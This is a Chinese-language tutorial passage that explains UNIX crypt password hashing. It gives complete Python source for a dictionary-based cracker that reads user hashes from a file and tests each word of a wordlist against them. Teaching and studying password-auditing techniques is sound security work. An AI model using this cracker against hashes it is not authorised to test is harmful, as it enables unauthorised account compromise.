Python語言的真正優勢在於其擁有大量的標准庫和第三方庫。編寫UNIX口令破解機時,需要使用UNIX計算口令hash的crypt()算法。啟動Python解釋器,看到Python標准庫中自己帶有crypt庫,要計算一個加密的UNIX口令hash,只需要調用函數crypt.crypt(),並將口令喝salt作為參數傳遞給它。該函數會以字符串形式返回口令的hash。
讓我們嘗試使用crypt()函數快速計算口令的hash。將庫導入之後,將口令“egg”與salt“HX”傳遞給函數。該函數返回口令的hash–字符串為“HX9LLTdc/jiDE”。成功!
import crypt
crypt.crypt('egg', 'HX')
'HX9LLTdc/jiDE'
現在編寫一個程序遍歷整個字典,將每一個單詞加上指定的salt的計算結果都與加密的口令hash做比較。編寫程序的時候,首先創建兩個函數:main和testpass。根據各自特定的作用,將程序分隔成相互獨立的函數。main函數打開加密口令文件“password.txt”,並逐行讀取口令文件中的內容。每一行中的用戶和口令hash都是分隔開的。對每個口令hash,main函數都調用testPass()函數,嘗試用字典中的單詞破解它。
testPass()函數參數時加密口令hash,該hash的前兩個字符視為salt,並提取出來,然後打開字典並便利字典中的每個單詞,用每個單詞和salt計算一個新的加密口令hash。如果計算結果與我們加密口令hash匹配,函數會打印一條消息顯示找到密碼,並返回。否則,它會在詞庫中繼續對每個單詞進行測試。源碼如下:
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictFile = open('./dictionary.txt', 'r')
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word, salt)
if cryptWord == cryptPass:
print("[+] Found Password: " + word +"\n")
return
print("[-] Password Not Found.\n")
return
def main():
passFile = open('./passwords.txt')
for line in passFile.readlines():
if ":" in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ')
print("[*] Cracking Password For: " + user)
testPass(cryptPass)
if __name__ == '__main__':
main()
運行這個程序之後,可以看到成功破解了用戶victim的口令,如下圖所示: